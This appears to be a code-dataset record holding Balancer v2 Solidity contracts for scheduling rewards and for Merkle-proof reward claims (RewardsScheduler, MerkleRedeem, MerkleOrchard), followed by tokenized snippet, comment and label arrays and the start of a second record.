pragma experimental ABIEncoderV2;
import "@balancer-labs/v2-solidity-utils/contracts/openzeppelin/SafeERC20.sol";
import "./interfaces/IMultiRewards.sol";
// solhint-disable not-rely-on-time
/**
* Scheduler for MultiRewards contract
*/
contract RewardsScheduler {
using SafeERC20 for IERC20;
IMultiRewards private immutable _multirewards;
constructor() {
_multirewards = IMultiRewards(msg.sender);
}
enum RewardStatus { UNINITIALIZED, PENDING, STARTED }
struct ScheduledReward {
IERC20 pool;
IERC20 rewardsToken;
uint256 startTime;
address rewarder;
uint256 amount;
RewardStatus status;
}
event RewardScheduled(
bytes32 rewardId,
address indexed rewarder,
IERC20 indexed pool,
IERC20 indexed rewardsToken,
uint256 startTime,
uint256 amount
);
event RewardStarted(
bytes32 rewardId,
address indexed rewarder,
IERC20 indexed pool,
IERC20 indexed rewardsToken,
uint256 startTime,
uint256 amount
);
mapping(bytes32 => ScheduledReward) private _rewards;
function getScheduledRewardInfo(bytes32 rewardId) external view returns (ScheduledReward memory reward) {
return _rewards[rewardId];
}
function startRewards(bytes32[] calldata rewardIds) external {
for (uint256 r; r < rewardIds.length; r++) {
bytes32 rewardId = rewardIds[r];
ScheduledReward memory scheduledReward = _rewards[rewardId];
require(scheduledReward.status == RewardStatus.PENDING, "Reward cannot be started");
require(scheduledReward.startTime <= block.timestamp, "Reward start time is in the future");
_rewards[rewardId].status = RewardStatus.STARTED;
if (
scheduledReward.rewardsToken.allowance(address(this), address(_multirewards)) < scheduledReward.amount
) {
scheduledReward.rewardsToken.approve(address(_multirewards), type(uint256).max);
}
_multirewards.notifyRewardAmount(
scheduledReward.pool,
scheduledReward.rewardsToken,
scheduledReward.amount,
scheduledReward.rewarder
);
emit RewardStarted(
rewardId,
scheduledReward.rewarder,
scheduledReward.pool,
scheduledReward.rewardsToken,
scheduledReward.startTime,
scheduledReward.amount
);
}
}
function getRewardId(
IERC20 pool,
IERC20 rewardsToken,
address rewarder,
uint256 startTime
) public pure returns (bytes32) {
return keccak256(abi.encodePacked(pool, rewardsToken, rewarder, startTime));
}
function scheduleReward(
IERC20 pool,
IERC20 rewardsToken,
uint256 amount,
uint256 startTime
) public returns (bytes32 rewardId) {
rewardId = getRewardId(pool, rewardsToken, msg.sender, startTime);
require(startTime > block.timestamp, "Reward can only be scheduled for the future");
require(
_multirewards.isAllowlistedRewarder(pool, rewardsToken, msg.sender),
"Only allowlisted rewarders can schedule reward"
);
require(_rewards[rewardId].status == RewardStatus.UNINITIALIZED, "Reward has already been scheduled");
_rewards[rewardId] = ScheduledReward({
pool: pool,
rewardsToken: rewardsToken,
rewarder: msg.sender,
amount: amount,
startTime: startTime,
status: RewardStatus.PENDING
});
rewardsToken.safeTransferFrom(msg.sender, address(this), amount);
emit RewardScheduled(rewardId, msg.sender, pool, rewardsToken, startTime, amount);
}
}
// SPDX-License-Identifier: GPL-3.0-or-later
// This program is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
// You should have received a copy of the GNU General Public License
// along with this program. If not, see <http://www.gnu.org/licenses/>.
pragma solidity ^0.7.0;
import "@balancer-labs/v2-solidity-utils/contracts/openzeppelin/IERC20.sol";
interface IMultiRewards {
function notifyRewardAmount(
IERC20 stakingToken,
IERC20 rewardsToken,
uint256 reward,
address rewarder
) external;
function addReward(
IERC20 pool,
IERC20 rewardsToken,
uint256 rewardsDuration
) external;
function allowlistRewarder(
IERC20 pool,
IERC20 rewardsToken,
address rewarder
) external;
function isAllowlistedRewarder(
IERC20 pool,
IERC20 rewardsToken,
address rewarder
) external view returns (bool);
}
// SPDX-License-Identifier: GPL-3.0-or-later
// This program is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
// You should have received a copy of the GNU General Public License
// along with this program. If not, see <http://www.gnu.org/licenses/>.
pragma solidity ^0.7.0;
interface IDistributor {
event RewardPaid(address indexed user, address indexed rewardToken, uint256 amount);
}
// SPDX-License-Identifier: GPL-3.0-or-later
// This program is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
// You should have received a copy of the GNU General Public License
// along with this program. If not, see <http://www.gnu.org/licenses/>.
pragma solidity ^0.7.0;
import "@balancer-labs/v2-solidity-utils/contracts/openzeppelin/IERC20Permit.sol";
import "@balancer-labs/v2-solidity-utils/contracts/helpers/Authentication.sol";
import "@balancer-labs/v2-vault/contracts/interfaces/IAuthorizer.sol";
import "@balancer-labs/v2-vault/contracts/interfaces/IBasePool.sol";
import "@balancer-labs/v2-vault/contracts/interfaces/IVault.sol";
/**
* @dev Base authorization layer implementation for MultiRewards
*/
abstract contract MultiRewardsAuthorization is Authentication {
IVault private immutable _vault;
mapping(IERC20 => mapping(IERC20 => mapping(address => bool))) private _allowlist;
event RewarderAllowlisted(address indexed pool, address indexed token, address indexed rewarder);
constructor(IVault vault) {
_vault = vault;
}
modifier onlyAllowlistedRewarder(IERC20 pool, IERC20 rewardsToken) {
require(_isAllowlistedRewarder(pool, rewardsToken, msg.sender), "Only accessible by allowlisted rewarders");
_;
}
modifier onlyAllowlisters(IERC20 pool) {
require(
_canPerform(getActionId(msg.sig), msg.sender) ||
msg.sender == address(pool) ||
isAssetManager(pool, msg.sender),
"Only accessible by governance, pool or it's asset managers"
);
_;
}
function getVault() public view returns (IVault) {
return _vault;
}
function getAuthorizer() external view returns (IAuthorizer) {
return _getAuthorizer();
}
function _getAuthorizer() internal view returns (IAuthorizer) {
// Access control management is delegated to the Vault's Authorizer. This lets Balancer Governance manage which
// accounts can call permissioned functions: for example, to perform emergency pauses.
return getVault().getAuthorizer();
}
/**
* @notice Allows a rewarder to be explicitly added to an allowlist of rewarders
*/
function _allowlistRewarder(
IERC20 pool,
IERC20 rewardsToken,
address rewarder
) internal {
_allowlist[pool][rewardsToken][rewarder] = true;
emit RewarderAllowlisted(address(pool), address(rewardsToken), rewarder);
}
function _isAllowlistedRewarder(
IERC20 pool,
IERC20 rewardsToken,
address rewarder
) internal view returns (bool) {
return _allowlist[pool][rewardsToken][rewarder];
}
/**
* @notice Checks if a rewarder is an asset manager
*/
function isAssetManager(IERC20 pool, address rewarder) public view returns (bool) {
IBasePool poolContract = IBasePool(address(pool));
bytes32 poolId = poolContract.getPoolId();
(IERC20[] memory poolTokens, , ) = getVault().getPoolTokens(poolId);
for (uint256 pt; pt < poolTokens.length; pt++) {
(, , , address assetManager) = getVault().getPoolTokenInfo(poolId, poolTokens[pt]);
if (assetManager == rewarder) {
return true;
}
}
return false;
}
function _canPerform(bytes32 actionId, address account) internal view override returns (bool) {
return _getAuthorizer().canPerform(actionId, account, address(this));
}
}
// SPDX-License-Identifier: GPL-3.0-or-later
// This program is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
// You should have received a copy of the GNU General Public License
// along with this program. If not, see <http://www.gnu.org/licenses/>.
pragma experimental ABIEncoderV2;
import "@balancer-labs/v2-solidity-utils/contracts/math/FixedPoint.sol";
import "@balancer-labs/v2-solidity-utils/contracts/openzeppelin/Ownable.sol";
import "@balancer-labs/v2-solidity-utils/contracts/openzeppelin/MerkleProof.sol";
import "@balancer-labs/v2-solidity-utils/contracts/openzeppelin/IERC20.sol";
import "@balancer-labs/v2-solidity-utils/contracts/openzeppelin/SafeERC20.sol";
import "@balancer-labs/v2-vault/contracts/interfaces/IVault.sol";
import "@balancer-labs/v2-vault/contracts/interfaces/IAsset.sol";
import "./interfaces/IDistributor.sol";
import "./interfaces/IDistributorCallback.sol";
pragma solidity ^0.7.0;
contract MerkleRedeem is IDistributor, Ownable {
using FixedPoint for uint256;
using SafeERC20 for IERC20;
IERC20 public immutable rewardToken;
// Recorded weeks
mapping(uint256 => bytes32) public weekMerkleRoots;
mapping(uint256 => mapping(address => bool)) public claimed;
IVault public immutable vault;
event RewardAdded(address indexed token, uint256 amount);
constructor(IVault _vault, IERC20 _rewardToken) {
vault = _vault;
rewardToken = _rewardToken;
_rewardToken.approve(address(_vault), type(uint256).max);
}
function _disburse(address recipient, uint256 balance) private {
if (balance > 0) {
emit RewardPaid(recipient, address(rewardToken), balance);
rewardToken.safeTransfer(recipient, balance);
}
}
function _disburseToInternalBalance(address recipient, uint256 balance) private {
if (balance > 0) {
IVault.UserBalanceOp[] memory ops = new IVault.UserBalanceOp[](1);
ops[0] = IVault.UserBalanceOp({
asset: IAsset(address(rewardToken)),
amount: balance,
sender: address(this),
recipient: payable(recipient),
kind: IVault.UserBalanceOpKind.DEPOSIT_INTERNAL
});
emit RewardPaid(recipient, address(rewardToken), balance);
vault.manageUserBalance(ops);
}
}
/**
* @notice Allows a user to claim a particular week's worth of rewards
*/
function claimWeek(
address liquidityProvider,
uint256 week,
uint256 claimedBalance,
bytes32[] memory merkleProof
) external {
require(msg.sender == liquidityProvider, "user must claim own balance");
require(!claimed[week][liquidityProvider], "cannot claim twice");
require(verifyClaim(liquidityProvider, week, claimedBalance, merkleProof), "Incorrect merkle proof");
claimed[week][liquidityProvider] = true;
_disburse(liquidityProvider, claimedBalance);
}
struct Claim {
uint256 week;
uint256 balance;
bytes32[] merkleProof;
}
function _processClaims(address liquidityProvider, Claim[] memory claims) internal returns (uint256 totalBalance) {
Claim memory claim;
for (uint256 i = 0; i < claims.length; i++) {
claim = claims[i];
require(!claimed[claim.week][liquidityProvider], "cannot claim twice");
require(
verifyClaim(liquidityProvider, claim.week, claim.balance, claim.merkleProof),
"Incorrect merkle proof"
);
totalBalance = totalBalance.add(claim.balance);
claimed[claim.week][liquidityProvider] = true;
}
}
/**
* @notice Allows a user to claim multiple weeks of reward
*/
function claimWeeks(address liquidityProvider, Claim[] memory claims) external {
require(msg.sender == liquidityProvider, "user must claim own balance");
uint256 totalBalance = _processClaims(liquidityProvider, claims);
_disburse(liquidityProvider, totalBalance);
}
/**
* @notice Allows a user to claim multiple weeks of reward to internal balance
*/
function claimWeeksToInternalBalance(address liquidityProvider, Claim[] memory claims) external {
require(msg.sender == liquidityProvider, "user must claim own balance");
uint256 totalBalance = _processClaims(liquidityProvider, claims);
_disburseToInternalBalance(liquidityProvider, totalBalance);
}
/**
* @notice Allows a user to claim several weeks of rewards to a callback
*/
function claimWeeksWithCallback(
address liquidityProvider,
IDistributorCallback callbackContract,
bytes calldata callbackData,
Claim[] memory claims
) external {
require(msg.sender == liquidityProvider, "user must claim own balance");
uint256 totalBalance = _processClaims(liquidityProvider, claims);
_disburseToInternalBalance(address(callbackContract), totalBalance);
callbackContract.distributorCallback(callbackData);
}
function claimStatus(
address liquidityProvider,
uint256 begin,
uint256 end
) external view returns (bool[] memory) {
require(begin <= end, "weeks must be specified in ascending order");
uint256 size = 1 + end - begin;
bool[] memory arr = new bool[](size);
for (uint256 i = 0; i < size; i++) {
arr[i] = claimed[begin + i][liquidityProvider];
}
return arr;
}
function merkleRoots(uint256 begin, uint256 end) external view returns (bytes32[] memory) {
require(begin <= end, "weeks must be specified in ascending order");
uint256 size = 1 + end - begin;
bytes32[] memory arr = new bytes32[](size);
for (uint256 i = 0; i < size; i++) {
arr[i] = weekMerkleRoots[begin + i];
}
return arr;
}
function verifyClaim(
address liquidityProvider,
uint256 week,
uint256 claimedBalance,
bytes32[] memory merkleProof
) public view returns (bool) {
bytes32 leaf = keccak256(abi.encodePacked(liquidityProvider, claimedBalance));
return MerkleProof.verify(merkleProof, weekMerkleRoots[week], leaf);
}
/**
* @notice
* Allows the owner to add funds to the contract as a merkle tree, These tokens will
* be withdrawn from the sender
* These will be pulled from the user
*/
function seedAllocations(
uint256 week,
bytes32 _merkleRoot,
uint256 amount
) external onlyOwner {
require(weekMerkleRoots[week] == bytes32(0), "cannot rewrite merkle root");
weekMerkleRoots[week] = _merkleRoot;
rewardToken.safeTransferFrom(msg.sender, address(this), amount);
emit RewardAdded(address(rewardToken), amount);
}
}
// SPDX-License-Identifier: MIT
// Based on the Ownable library from OpenZeppelin Contracts, altered to reduce runtime gas by dropping
// support for the GSN.
pragma solidity ^0.7.0;
import "../helpers/BalancerErrors.sol";
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
_owner = msg.sender;
emit OwnershipTransferred(address(0), msg.sender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
_require(owner() == msg.sender, Errors.CALLER_IS_NOT_OWNER);
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
_require(newOwner != address(0), Errors.NEW_OWNER_IS_ZERO);
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.0;
/**
* @dev These functions deal with verification of Merkle trees (hash trees),
*/
library MerkleProof {
/**
* @dev Returns true if a `leaf` can be proved to be a part of a Merkle tree
* defined by `root`. For this, a `proof` must be provided, containing
* sibling hashes on the branch from the leaf to the root of the tree. Each
* pair of leaves and each pair of pre-images are assumed to be sorted.
*/
function verify(bytes32[] memory proof, bytes32 root, bytes32 leaf) internal pure returns (bool) {
bytes32 computedHash = leaf;
for (uint256 i = 0; i < proof.length; i++) {
bytes32 proofElement = proof[i];
if (computedHash <= proofElement) {
// Hash(current computed hash + current element of the proof)
computedHash = keccak256(abi.encodePacked(computedHash, proofElement));
} else {
// Hash(current element of the proof + current computed hash)
computedHash = keccak256(abi.encodePacked(proofElement, computedHash));
}
}
// Check if the computed hash (root) is equal to the provided root
return computedHash == root;
}
}
// SPDX-License-Identifier: GPL-3.0-or-later
// This program is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
// You should have received a copy of the GNU General Public License
// along with this program. If not, see <http://www.gnu.org/licenses/>.
pragma experimental ABIEncoderV2;
import "@balancer-labs/v2-solidity-utils/contracts/openzeppelin/MerkleProof.sol";
import "@balancer-labs/v2-solidity-utils/contracts/openzeppelin/IERC20.sol";
import "@balancer-labs/v2-solidity-utils/contracts/openzeppelin/SafeERC20.sol";
import "@balancer-labs/v2-vault/contracts/interfaces/IVault.sol";
import "@balancer-labs/v2-vault/contracts/interfaces/IAsset.sol";
import "./interfaces/IDistributorCallback.sol";
pragma solidity ^0.7.0;
contract MerkleOrchard {
using SafeERC20 for IERC20;
// Recorded distributions
// channelId > distributionId
mapping(bytes32 => uint256) private _nextDistributionId;
// channelId > distributionId > root
mapping(bytes32 => mapping(uint256 => bytes32)) private _distributionRoot;
// channelId > claimer > distributionId / 256 (word index) -> bitmap
mapping(bytes32 => mapping(address => mapping(uint256 => uint256))) private _claimedBitmap;
// channelId > balance
mapping(bytes32 => uint256) private _remainingBalance;
event DistributionAdded(
address indexed distributor,
IERC20 indexed token,
uint256 distributionId,
bytes32 merkleRoot,
uint256 amount
);
event DistributionClaimed(
address indexed distributor,
IERC20 indexed token,
uint256 distributionId,
address indexed claimer,
address recipient,
uint256 amount
);
IVault private immutable _vault;
constructor(IVault vault) {
_vault = vault;
}
struct Claim {
uint256 distributionId;
uint256 balance;
address distributor;
uint256 tokenIndex;
bytes32[] merkleProof;
}
// Getters
function getVault() public view returns (IVault) {
return _vault;
}
function getDistributionRoot(
IERC20 token,
address distributor,
uint256 distributionId
) external view returns (bytes32) {
bytes32 channelId = _getChannelId(token, distributor);
return _distributionRoot[channelId][distributionId];
}
function getRemainingBalance(IERC20 token, address distributor) external view returns (uint256) {
bytes32 channelId = _getChannelId(token, distributor);
return _remainingBalance[channelId];
}
/**
* @notice distribution ids must be sequential and can have an optional offset
*/
function getNextDistributionId(IERC20 token, address distributor) external view returns (uint256) {
bytes32 channelId = _getChannelId(token, distributor);
return _nextDistributionId[channelId];
}
function isClaimed(
IERC20 token,
address distributor,
uint256 distributionId,
address claimer
) public view returns (bool) {
(uint256 distributionWordIndex, uint256 distributionBitIndex) = _getIndices(distributionId);
bytes32 channelId = _getChannelId(token, distributor);
return (_claimedBitmap[channelId][claimer][distributionWordIndex] & (1 << distributionBitIndex)) != 0;
}
function verifyClaim(
IERC20 token,
address distributor,
uint256 distributionId,
address claimer,
uint256 claimedBalance,
bytes32[] memory merkleProof
) external view returns (bool) {
bytes32 channelId = _getChannelId(token, distributor);
return _verifyClaim(channelId, distributionId, claimer, claimedBalance, merkleProof);
}
// Claim functions
/**
* @notice Allows a user to claim multiple distributions
*/
function claimDistributions(
address claimer,
Claim[] memory claims,
IERC20[] memory tokens
) external {
require(msg.sender == claimer, "user must claim own balance");
_processClaims(claimer, msg.sender, claims, tokens, false);
}
/**
* @notice Allows a user to claim multiple distributions to internal balance
*/
function claimDistributionsToInternalBalance(
address claimer,
Claim[] memory claims,
IERC20[] memory tokens
) external {
require(msg.sender == claimer, "user must claim own balance");
_processClaims(claimer, msg.sender, claims, tokens, true);
}
/**
* @notice Allows a user to claim several distributions to a callback
*/
function claimDistributionsWithCallback(
address claimer,
Claim[] memory claims,
IERC20[] memory tokens,
IDistributorCallback callbackContract,
bytes calldata callbackData
) external {
require(msg.sender == claimer, "user must claim own balance");
_processClaims(claimer, address(callbackContract), claims, tokens, true);
callbackContract.distributorCallback(callbackData);
}
/**
* @notice Allows a distributor to add funds to the contract as a merkle tree.
*/
function createDistribution(
IERC20 token,
bytes32 merkleRoot,
uint256 amount,
uint256 distributionId
) external {
bytes32 channelId = _getChannelId(token, msg.sender);
require(
_nextDistributionId[channelId] == distributionId || _nextDistributionId[channelId] == 0,
"invalid distribution ID"
);
token.safeTransferFrom(msg.sender, address(this), amount);
token.approve(address(getVault()), amount);
IVault.UserBalanceOp[] memory ops = new IVault.UserBalanceOp[](1);
ops[0] = IVault.UserBalanceOp({
asset: IAsset(address(token)),
amount: amount,
sender: address(this),
recipient: payable(address(this)),
kind: IVault.UserBalanceOpKind.DEPOSIT_INTERNAL
});
getVault().manageUserBalance(ops);
_remainingBalance[channelId] += amount;
_distributionRoot[channelId][distributionId] = merkleRoot;
_nextDistributionId[channelId] = distributionId + 1;
emit DistributionAdded(msg.sender, token, distributionId, merkleRoot, amount);
}
// Helper functions
function _getChannelId(IERC20 token, address distributor) private pure returns (bytes32) {
return keccak256(abi.encodePacked(token, distributor));
}
function _processClaims(
address claimer,
address recipient,
Claim[] memory claims,
IERC20[] memory tokens,
bool asInternalBalance
) internal {
uint256[] memory amounts = new uint256[](tokens.length);
// To save gas when setting claimed statuses in storage, we group claims for each channel and word index
// (referred to as a 'claims set'), aggregating the claim bits to set and total claimed amount, only committing
// to storage when changing claims sets (or when processing the last claim).
// This means that callers should sort claims by grouping distribution channels and distributions with the same
// word index in order to achieve reduced gas costs.
// Variables to support claims set aggregation
bytes32 currentChannelId; // Since channel ids are a hash, the initial zero id can be safely considered invalid
uint256 currentWordIndex;
uint256 currentBits; // The accumulated claimed bits to set in storage
uint256 currentClaimAmount; // The accumulated tokens to be claimed from the current channel (not claims set!)
Claim memory claim;
for (uint256 i = 0; i < claims.length; i++) {
claim = claims[i];
// New scope to avoid stack-too-deep issues
{
(uint256 distributionWordIndex, uint256 distributionBitIndex) = _getIndices(claim.distributionId);
if (currentChannelId == _getChannelId(tokens[claim.tokenIndex], claim.distributor)) {
if (currentWordIndex == distributionWordIndex) {
// Same claims set as the previous one: simply track the new bit to set.
currentBits |= 1 << distributionBitIndex;
} else {
// This case is an odd exception: the claims set is not the same, but the channel id is. This
// happens for example when there are so many distributions that they don't fit in a single 32
// byte bitmap.
// Since the channel is the same, we can continue accumulating the claim amount, but must commit
// the previous claim bits as they correspond to a different word index.
_setClaimedBits(currentChannelId, claimer, currentWordIndex, currentBits);
// Start a new claims set, except channel id is the same as the previous one, and amount is not
// reset.
currentWordIndex = distributionWordIndex;
currentBits = 1 << distributionBitIndex;
}
// Amounts are always accumulated for the same channel id
currentClaimAmount += claim.balance;
} else {
// Skip initial invalid claims set
if (currentChannelId != bytes32(0)) {
// Commit previous claims set
_setClaimedBits(currentChannelId, claimer, currentWordIndex, currentBits);
_deductClaimedBalance(currentChannelId, currentClaimAmount);
}
// Start a new claims set
currentChannelId = _getChannelId(tokens[claim.tokenIndex], claim.distributor);
currentWordIndex = distributionWordIndex;
currentBits = 1 << distributionBitIndex;
currentClaimAmount = claim.balance;
}
}
// Since a claims set is only committed if the next one is not part of the same set, the last claims set
// must be manually committed always.
if (i == claims.length - 1) {
_setClaimedBits(currentChannelId, claimer, currentWordIndex, currentBits);
_deductClaimedBalance(currentChannelId, currentClaimAmount);
}
require(
_verifyClaim(currentChannelId, claim.distributionId, claimer, claim.balance, claim.merkleProof),
"incorrect merkle proof"
);
// Note that balances to claim are here accumulated *per token*, independent of the distribution channel and
// claims set accounting.
amounts[claim.tokenIndex] += claim.balance;
emit DistributionClaimed(
claim.distributor,
tokens[claim.tokenIndex],
claim.distributionId,
claimer,
recipient,
claim.balance
);
}
IVault.UserBalanceOpKind kind = asInternalBalance
? IVault.UserBalanceOpKind.TRANSFER_INTERNAL
: IVault.UserBalanceOpKind.WITHDRAW_INTERNAL;
IVault.UserBalanceOp[] memory ops = new IVault.UserBalanceOp[](tokens.length);
for (uint256 i = 0; i < tokens.length; i++) {
ops[i] = IVault.UserBalanceOp({
asset: IAsset(address(tokens[i])),
amount: amounts[i],
sender: address(this),
recipient: payable(recipient),
kind: kind
});
}
getVault().manageUserBalance(ops);
}
/**
* @dev Sets the bits set in `newClaimsBitmap` for the corresponding distribution.
*/
function _setClaimedBits(
bytes32 channelId,
address claimer,
uint256 wordIndex,
uint256 newClaimsBitmap
) private {
uint256 currentBitmap = _claimedBitmap[channelId][claimer][wordIndex];
// All newly set bits must not have been previously set
require((newClaimsBitmap & currentBitmap) == 0, "cannot claim twice");
_claimedBitmap[channelId][claimer][wordIndex] = currentBitmap | newClaimsBitmap;
}
/**
* @dev Deducts `balanceBeingClaimed` from a distribution channel's allocation. This isolates tokens accross
* distribution channels, and prevents claims for one channel from using the tokens of another one.
*/
function _deductClaimedBalance(bytes32 channelId, uint256 balanceBeingClaimed) private {
require(
_remainingBalance[channelId] >= balanceBeingClaimed,
"distributor hasn't provided sufficient tokens for claim"
);
_remainingBalance[channelId] -= balanceBeingClaimed;
}
function _verifyClaim(
bytes32 channelId,
uint256 distributionId,
address claimer,
uint256 claimedBalance,
bytes32[] memory merkleProof
) internal view returns (bool) {
bytes32 leaf = keccak256(abi.encodePacked(claimer, claimedBalance));
return MerkleProof.verify(merkleProof, _distributionRoot[channelId][distributionId], leaf);
}
function _getIndices(uint256 distributionId)
private
pure
returns (uint256 distributionWordIndex, uint256 distributionBitIndex)
{
distributionWordIndex = distributionId / 256;
distributionBitIndex = distributionId % 256;
}
} | ========== MODIFIERS ========== */* @notice Updates the rewards due to `account` from all _rewardTokens and _rewarders/ | modifier updateReward(IERC20 pool, address account) {
uint256 rewardTokensLength = _rewardTokens[pool].length();
for (uint256 t; t < rewardTokensLength; t++) {
IERC20 rewardToken = IERC20(_rewardTokens[pool].unchecked_at(t));
_updateReward(pool, account, rewardToken);
}
_;
}
event Staked(address indexed pool, address indexed account, uint256 amount);
event Withdrawn(address indexed pool, address indexed account, uint256 amount);
event RewardAdded(address indexed pool, address indexed token, address indexed rewarder, uint256 amount);
event RewardsDurationUpdated(
address indexed pool,
address indexed token,
address indexed rewarder,
uint256 newDuration
);
| 11,883,796 | [
1,
1432,
631,
8663,
10591,
55,
422,
1432,
342,
225,
15419,
326,
283,
6397,
6541,
358,
1375,
4631,
68,
628,
777,
389,
266,
2913,
5157,
471,
389,
266,
2913,
414,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
565,
9606,
1089,
17631,
1060,
12,
45,
654,
39,
3462,
2845,
16,
1758,
2236,
13,
288,
203,
3639,
2254,
5034,
19890,
5157,
1782,
273,
389,
266,
2913,
5157,
63,
6011,
8009,
2469,
5621,
203,
3639,
364,
261,
11890,
5034,
268,
31,
268,
411,
19890,
5157,
1782,
31,
268,
27245,
288,
203,
5411,
467,
654,
39,
3462,
19890,
1345,
273,
467,
654,
39,
3462,
24899,
266,
2913,
5157,
63,
6011,
8009,
5847,
67,
270,
12,
88,
10019,
203,
5411,
389,
2725,
17631,
1060,
12,
6011,
16,
2236,
16,
19890,
1345,
1769,
203,
3639,
289,
203,
3639,
389,
31,
203,
565,
289,
203,
203,
565,
871,
934,
9477,
12,
2867,
8808,
2845,
16,
1758,
8808,
2236,
16,
2254,
5034,
3844,
1769,
203,
565,
871,
3423,
9446,
82,
12,
2867,
8808,
2845,
16,
1758,
8808,
2236,
16,
2254,
5034,
3844,
1769,
203,
565,
871,
534,
359,
1060,
8602,
12,
2867,
8808,
2845,
16,
1758,
8808,
1147,
16,
1758,
8808,
283,
20099,
16,
2254,
5034,
3844,
1769,
203,
565,
871,
534,
359,
14727,
5326,
7381,
12,
203,
3639,
1758,
8808,
2845,
16,
203,
3639,
1758,
8808,
1147,
16,
203,
3639,
1758,
8808,
283,
20099,
16,
203,
3639,
2254,
5034,
394,
5326,
203,
565,
11272,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
]
|
./full_match/8453/0x5Ba641A1Fa1E6A7D033c9f6A8108d52B92b78257/sources/contracts/interfaces/IHATVault.sol | Challenged claim can only be approved by arbitrator before the challenge timeout period | error ChallengedClaimCanOnlyBeApprovedByArbitratorUntilChallengeTimeoutPeriod();
| 11,548,854 | [
1,
782,
7862,
2423,
7516,
848,
1338,
506,
20412,
635,
10056,
86,
639,
1865,
326,
12948,
2021,
3879,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
